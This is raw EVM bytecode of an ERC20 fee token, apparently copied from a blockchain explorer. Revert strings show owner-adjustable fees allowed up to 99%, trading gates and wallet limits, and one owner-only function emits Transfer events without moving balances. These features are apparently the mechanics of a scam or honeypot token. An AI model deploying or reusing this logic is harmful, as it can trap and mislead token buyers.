13529565b60405180910390a3612d22848484612f66565b50505050565b6000612d3330611098565b90506000601554601654612d4791906138be565b9050600080831480612d595750600082145b15612d6657505050612f33565b6014600b54612d759190613cb1565b831115612d8e576014600b54612d8b9190613cb1565b92505b600060028360165486612da19190613cb1565b612dab9190613d22565b612db59190613d22565b90506000612dcc8286612f6b90919063ffffffff16565b90506000479050612ddc82612f81565b6000612df18247612f6b90919063ffffffff16565b90506000612e1c87612e0e60155485612f3590919063ffffffff16565b612f4b90919063ffffffff16565b905060008183612e2c9190614594565b905060006016819055506000601581905550600086118015612e4e5750600081115b15612e9b57612e5d86826131be565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601654604051612e929392919061477e565b60405180910390a15b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612ee1906147e6565b60006040518083038185875af1925050503d8060008114612f1e576040519150601f19603f3d011682016040523d82523d6000602084013e612f23565b606091505b5050809750505050505050505050505b565b60008183612f439190613cb1565b905092915050565b60008183612f599190613d22565b905092915050565b505050565b505050565b60008183612f799190614594565b905092915050565b6000600267ffffffffffffffff811115612f9e57612f9d6147fb565b5b604051908082528060200260200182016040528015612fcc5781602001602082028036833780820191505090505b5090503081600081518110612fe457612fe3613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ad919061483f565b816001815181106130c1576130c0613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613126307f000000000000000000000000000000000000000000000000000000000000000084611c9a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613188959493929190614965565b600060405180830381600087803b1580156131a257600080fd5b505af11580156131b6573d6000803e3d6000fd5b505050505050565b6131e9307f000000000000000000000000000000000000000000000000000000000000000084611c9a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613250969594939291906149bf565b60606040518083038185885af115801561326e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132939190614a35565b5050505050565b600080fd5b600080fd5b6000819050919050565b6132b7816132a4565b81146132c257600080fd5b50565b6000813590506132d4816132ae565b92915050565b600080604083850312156132f1576132f061329a565b5b60006132ff858286016132c5565b9250506020613310858286016132c5565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613354578082015181840152602081019050613339565b60008484015250505050565b6000601f19601f8301169050919050565b600061337c8261331a565b6133868185613325565b9350613396818560208601613336565b61339f81613360565b840191505092915050565b600060208201905081810360008301526133c48184613371565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133f7826133cc565b9050919050565b613407816133ec565b811461341257600080fd5b50565b600081359050613424816133fe565b92915050565b600080604083850312156134415761344061329a565b5b600061344f85828601613415565b9250506020613460858286016132c5565b9150509250929050565b60008115159050919050565b61347f8161346a565b82525050565b600060208201905061349a6000830184613476565b92915050565b6000819050919050565b60006134c56134c06134bb846133cc565b6134a0565b6133cc565b9050919050565b60006134d7826134aa565b9050919050565b60006134e9826134cc565b9050919050565b6134f9816134de565b82525050565b600060208201905061351460008301846134f0565b92915050565b613523816132a4565b82525050565b600060208201905061353e600083018461351a565b92915050565b60008060006060848603121561355d5761355c61329a565b5b600061356b86828701613415565b935050602061357c86828701613415565b925050604061358d868287016132c5565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126135bc576135bb613597565b5b8235905067ffffffffffffffff8111156135d9576135d861359c565b5b6020830191508360208202830111156135f5576135f46135a1565b5b9250929050565b6000806000604084860312156136155761361461329a565b5b600084013567ffffffffffffffff8111156136335761363261329f565b5b61363f868287016135a6565b93509350506020613652868287016132c5565b9150509250925092565b613665816133ec565b82525050565b6000602082019050613680600083018461365c565b92915050565b600060ff82169050919050565b61369c81613686565b82525050565b60006020820190506136b76000830184613693565b92915050565b6136c68161346a565b81146136d157600080fd5b50565b6000813590506136e3816136bd565b92915050565b6000806000604084860312156137025761370161329a565b5b600084013567ffffffffffffffff8111156137205761371f61329f565b5b61372c868287016135a6565b9350935050602061373f868287016136d4565b9150509250925092565b60006020828403121561375f5761375e61329a565b5b600061376d84828501613415565b91505092915050565b6000806040838503121561378d5761378c61329a565b5b600061379b85828601613415565b92505060206137ac858286016136d4565b9150509250929050565b6000602082840312156137cc576137cb61329a565b5b60006137da848285016132c5565b91505092915050565b600080604083850312156137fa576137f961329a565b5b600061380885828601613415565b925050602061381985828601613415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613859602083613325565b915061386482613823565b602082019050919050565b600060208201905081810360008301526138888161384c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138c9826132a4565b91506138d4836132a4565b92508282019050808211156138ec576138eb61388f565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000613928601d83613325565b9150613933826138f2565b602082019050919050565b600060208201905081810360008301526139578161391b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139a557607f821691505b6020821081036139b8576139b761395e565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a1a602883613325565b9150613a25826139be565b604082019050919050565b60006020820190508181036000830152613a4981613a0d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613a8a826132a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613abc57613abb61388f565b5b600182019050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613afd601d83613325565b9150613b0882613ac7565b602082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613b8a57808604811115613b6657613b6561388f565b5b6001851615613b755780820291505b8081029050613b8385613b33565b9450613b4a565b94509492505050565b600082613ba35760019050613c5f565b81613bb15760009050613c5f565b8160018114613bc75760028114613bd157613c00565b6001915050613c5f565b60ff841115613be357613be261388f565b5b8360020a915084821115613bfa57613bf961388f565b5b50613c5f565b5060208310610133831016604e8410600b8410161715613c355782820a905083811115613c3057613c2f61388f565b5b613c5f565b613c428484846001613b40565b92509050818404811115613c5957613c5861388f565b5b81810290505b9392505050565b6000613c71826132a4565b9150613c7c83613686565b9250613ca97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b6000613cbc826132a4565b9150613cc7836132a4565b9250828202613cd5816132a4565b91508282048414831517613cec57613ceb61388f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2d826132a4565b9150613d38836132a4565b925082613d4857613d47613cf3565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613daf602183613325565b9150613dba82613d53565b604082019050919050565b60006020820190508181036000830152613dde81613da2565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e41602483613325565b9150613e4c82613de5565b604082019050919050565b60006020820190508181036000830152613e7081613e34565b9050919050565b6000613e82826132a4565b9150613e8d836132a4565b9250613eba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613f1e603983613325565b9150613f2982613ec2565b604082019050919050565b60006020820190508181036000830152613f4d81613f11565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613fb0602583613325565b9150613fbb82613f54565b604082019050919050565b60006020820190508181036000830152613fdf81613fa3565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614042603583613325565b915061404d82613fe6565b604082019050919050565b6000602082019050818103600083015261407181614035565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006140d4603483613325565b91506140df82614078565b604082019050919050565b60006020820190508181036000830152614103816140c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614166602683613325565b91506141718261410a565b604082019050919050565b6000602082019050818103600083015261419581614159565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006141f8602483613325565b91506142038261419c565b604082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061428a602283613325565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b60006142f6601e83613325565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b6000614362601c83613325565b915061436d8261432c565b602082019050919050565b6000602082019050818103600083015261439181614355565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006143ce601683613325565b91506143d982614398565b602082019050919050565b600060208201905081810360008301526143fd816143c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614460603583613325565b915061446b82614404565b604082019050919050565b6000602082019050818103600083015261448f81614453565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006144cc601383613325565b91506144d782614496565b602082019050919050565b600060208201905081810360008301526144fb816144bf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061455e603683613325565b915061456982614502565b604082019050919050565b6000602082019050818103600083015261458d81614551565b9050919050565b600061459f826132a4565b91506145aa836132a4565b92508282039050818111156145c2576145c161388f565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614624602583613325565b915061462f826145c8565b604082019050919050565b6000602082019050818103600083015261465381614617565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146b6602383613325565b91506146c18261465a565b604082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614748602683613325565b9150614753826146ec565b604082019050919050565b600060208201905081810360008301526147778161473b565b9050919050565b6000606082019050614793600083018661351a565b6147a0602083018561351a565b6147ad604083018461351a565b949350505050565b600081905092915050565b50565b60006147d06000836147b5565b91506147db826147c0565b600082019050919050565b60006147f1826147c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614839816133fe565b92915050565b6000602082840312156148555761485461329a565b5b60006148638482850161482a565b91505092915050565b6000819050919050565b600061489161488c6148878461486c565b6134a0565b6132a4565b9050919050565b6148a181614876565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148dc816133ec565b82525050565b60006148ee83836148d3565b60208301905092915050565b6000602082019050919050565b6000614912826148a7565b61491c81856148b2565b9350614927836148c3565b8060005b8381101561495857815161493f88826148e2565b975061494a836148fa565b92505060018101905061492b565b5085935050505092915050565b600060a08201905061497a600083018861351a565b6149876020830187614898565b81810360408301526149998186614907565b90506149a8606083018561365c565b6149b5608083018461351a565b9695505050505050565b600060c0820190506149d4600083018961365c565b6149e1602083018861351a565b6149ee6040830187614898565b6149fb6060830186614898565b614a08608083018561365c565b614a1560a083018461351a565b979650505050505050565b600081519050614a2f816132ae565b92915050565b600080600060608486031215614a4e57614a4d61329a565b5b6000614a5c86828701614a20565b9350506020614a6d86828701614a20565b9250506040614a7e86828701614a20565b915050925092509256fea2646970667358221220109ee1c1a6546cf715da494ac9ed4c9b739a190ed988778bbc713e72f433b57f64736f6c63430008130033000000000000000000000000aa6cf096905c32ac88a52ef963cc2ae6e58f005e

Deployed Bytecode

0x6080604052600436106102295760003560e01c806375f0a87411610123578063bbc0c742116100ab578063d85ba0631161006f578063d85ba0631461083c578063dd62ed3e14610867578063e2f45605146108a4578063f2fde38b146108cf578063f8b45b05146108f857610230565b8063bbc0c74214610757578063c024666814610782578063c2b7bbb6146107ab578063c8c8ebe4146107d4578063d257b34f146107ff57610230565b80639a7a23d6116100f25780639a7a23d61461064c578063a457c2d714610675578063a64e4f8a146106b2578063a9059cbb146106dd578063b8e3ed441461071a57610230565b806375f0a874146105a25780638da5cb5b146105cd57806395d89b41146105f8578063961883991461062357610230565b8063338d4669116101b15780636a486a8e116101755780636a486a8e146104cf5780636ddd1713146104fa57806370a0823114610525578063715018a6146105625780637571336a1461057957610230565b8063338d4669146103d8578063395093511461040157806349bd5a5e1461043e5780634fbee1931461046957806366ca9b83146104a657610230565b806318160ddd116101f857806318160ddd146102f157806323b872dd1461031c57806326ededb81461035957806327c8f83514610382578063313ce567146103ad57610230565b806302dbd8f81461023557806306fdde031461025e578063095ea7b3146102895780631694505e146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c600480360381019061025791906132da565b610923565b005b34801561026a57600080fd5b50610273610a16565b60405161028091906133aa565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061342a565b610aa8565b6040516102bd9190613485565b60405180910390f35b3480156102d257600080fd5b506102db610ac6565b6040516102e891906134ff565b60405180910390f35b3480156102fd57600080fd5b50610306610aea565b6040516103139190613529565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190613544565b610af4565b6040516103509190613485565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906135fc565b610bec565b005b34801561038e57600080fd5b50610397610d3d565b6040516103a4919061366b565b60405180910390f35b3480156103b957600080fd5b506103c2610d43565b6040516103cf91906136a2565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa91906136e9565b610d4c565b005b34801561040d57600080fd5b506104286004803603810190610423919061342a565b610e6d565b6040516104359190613485565b60405180910390f35b34801561044a57600080fd5b50610453610f19565b604051610460919061366b565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b9190613749565b610f3f565b60405161049d9190613485565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c891906132da565b610f95565b005b3480156104db57600080fd5b506104e461107f565b6040516104f19190613529565b60405180910390f35b34801561050657600080fd5b5061050f611085565b60405161051c9190613485565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190613749565b611098565b6040516105599190613529565b60405180910390f35b34801561056e57600080fd5b506105776110e0565b005b34801561058557600080fd5b506105a0600480360381019061059b9190613776565b611168565b005b3480156105ae57600080fd5b506105b761123f565b6040516105c4919061366b565b60405180910390f35b3480156105d957600080fd5b506105e2611265565b6040516105ef919061366b565b60405180910390f35b34801561060457600080fd5b5061060d61128f565b60405161061a91906133aa565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906132da565b611321565b005b34801561065857600080fd5b50610673600480360381019061066e9190613776565b611505565b005b34801561068157600080fd5b5061069c6004803603810190610697919061342a565b611629565b6040516106a99190613485565b60405180910390f35b3480156106be57600080fd5b506106c7611714565b6040516106d49190613485565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff919061342a565b611727565b6040516107119190613485565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190613749565b611745565b60405161074e9190613485565b60405180910390f35b34801561076357600080fd5b5061076c61179b565b6040516107799190613485565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a49190613776565b6117ae565b005b3480156107b757600080fd5b506107d260048036038101906107cd9190613749565b6118d3565b005b3480156107e057600080fd5b506107e9611993565b6040516107f69190613529565b60405180910390f35b34801561080b57600080fd5b50610826600480360381019061082191906137b6565b611999565b6040516108339190613485565b60405180910390f35b34801561084857600080fd5b50610851611aee565b60405161085e9190613529565b60405180910390f35b34801561087357600080fd5b5061088e600480360381019061088991906137e3565b611af4565b60405161089b9190613529565b60405180910390f35b3480156108b057600080fd5b506108b9611b7b565b6040516108c69190613529565b60405180910390f35b3480156108db57600080fd5b506108f660048036038101906108f19190613749565b611b81565b005b34801561090457600080fd5b5061090d611c78565b60405161091a9190613529565b60405180910390f35b61092b611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610949611c86565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109969061386f565b60405180910390fd5b81601381905550806014819055506014546013546109bd91906138be565b60128190555060125460118190555060636012541115610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061393e565b60405180910390fd5b5050565b606060038054610a259061398d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a519061398d565b8015610a9e5780601f10610a7357610100808354040283529160200191610a9e565b820191906000526020600020905b815481529060010190602001808311610a8157829003601f168201915b5050505050905090565b6000610abc610ab5611c7e565b8484611c9a565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000610b01848484611e63565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b4c611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390613a30565b60405180910390fd5b610be085610bd8611c7e565b858403611c9a565b60019150509392505050565b610bf4611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610c12611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f9061386f565b60405180910390fd5b60005b83839050811015610d3757838382818110610c8957610c88613a50565b5b9050602002016020810190610c9e9190613749565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d1c9190613529565b60405180910390a38080610d2f90613a7f565b915050610c6b565b50505050565b61dead81565b60006009905090565b610d54611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610d72611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf9061386f565b60405180910390fd5b60005b83839050811015610e67578160076000868685818110610dee57610ded613a50565b5b9050602002016020810190610e039190613749565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e5f90613a7f565b915050610dcb565b50505050565b6000610f0f610e7a611c7e565b848460016000610e88611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0a91906138be565b611c9a565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610f9d611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610fbb611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611011576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110089061386f565b60405180910390fd5b81600f8190555080600e81905550600e54600f5461102f91906138be565b6010819055506014601054111561107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290613b13565b60405180910390fd5b5050565b60125481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110e8611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611106611c86565b73ffffffffffffffffffffffffffffffffffffffff161461115c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111539061386f565b60405180910390fd5b611166600061289a565b565b611170611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661118e611c86565b73ffffffffffffffffffffffffffffffffffffffff16146111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db9061386f565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461129e9061398d565b80601f01602080910402602001604051908101604052809291908181526020018280546112ca9061398d565b80156113175780601f106112ec57610100808354040283529160200191611317565b820191906000526020600020905b8154815290600101906020018083116112fa57829003601f168201915b5050505050905090565b611329611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611347611c86565b73ffffffffffffffffffffffffffffffffffffffff161461139d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113949061386f565b60405180910390fd5b6113a5610d43565b600a6113b19190613c66565b6103e860056113be610aea565b6113c89190613cb1565b6113d29190613d22565b6113dc9190613d22565b82101561141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141590613dc5565b60405180910390fd5b611426610d43565b600a6114329190613c66565b6103e8600561143f610aea565b6114499190613cb1565b6114539190613d22565b61145d9190613d22565b81101561149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613e57565b60405180910390fd5b6114a7610d43565b600a6114b39190613c66565b600a6114bf9190613e77565b816114ca9190613cb1565b600c819055506114d8610d43565b600a6114e49190613c66565b600a6114f09190613e77565b826114fb9190613cb1565b600a819055505050565b61150d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661152b611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061386f565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611611576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160890613f34565b60405180910390fd5b61161b8282611168565b6116258282612960565b5050565b60008060016000611638611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec90613fc6565b60405180910390fd5b611709611700611c7e565b85858403611c9a565b600191505092915050565b600d60019054906101000a900460ff1681565b600061173b611734611c7e565b8484611e63565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900460ff1681565b6117b6611c7e565b73ffffffffffffffffffffffffffffffffffffffff166117d4611c86565b73ffffffffffffffffffffffffffffffffffffffff161461182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061386f565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516118c79190613485565b60405180910390a25050565b6118db611c7e565b73ffffffffffffffffffffffffffffffffffffffff166118f9611c86565b73ffffffffffffffffffffffffffffffffffffffff161461194f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119469061386f565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60006119a3611c7e565b73ffffffffffffffffffffffffffffffffffffffff166119c1611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e9061386f565b60405180910390fd5b620186a06001611a25610aea565b611a2f9190613cb1565b611a399190613d22565b821015611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7290614058565b60405180910390fd5b6103e86005611a88610aea565b611a929190613cb1565b611a9c9190613d22565b821115611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad5906140ea565b60405180910390fd5b81600b8190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b611b89611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611ba7611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf49061386f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639061417c565b60405180910390fd5b611c758161289a565b50565b600c5481565b600033905090565b600080611c91612a01565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d009061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f906142a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e569190613529565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec99061430c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3890614378565b60405180910390fd5b60008103611f5a57611f5583836000612aa9565b612895565b611f62611265565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fd05750611fa0611265565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120095750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612043575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561205c5750600860149054906101000a900460ff16155b1561239057600d60009054906101000a900460ff1661215657601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121165750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c906143e4565b60405180910390fd5b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121f95750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122a057600a54811115612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90614476565b60405180910390fd5b600c5461224f83611098565b8261225a91906138be565b111561229b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612292906144e2565b60405180910390fd5b61238f565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123435750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561238e57600a5481111561238d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238490614574565b60405180910390fd5b5b5b5b600061239b30611098565b90506000600b5482101590508080156123c05750600d60029054906101000a900460ff165b80156123d95750600860149054906101000a900460ff16155b801561242f5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615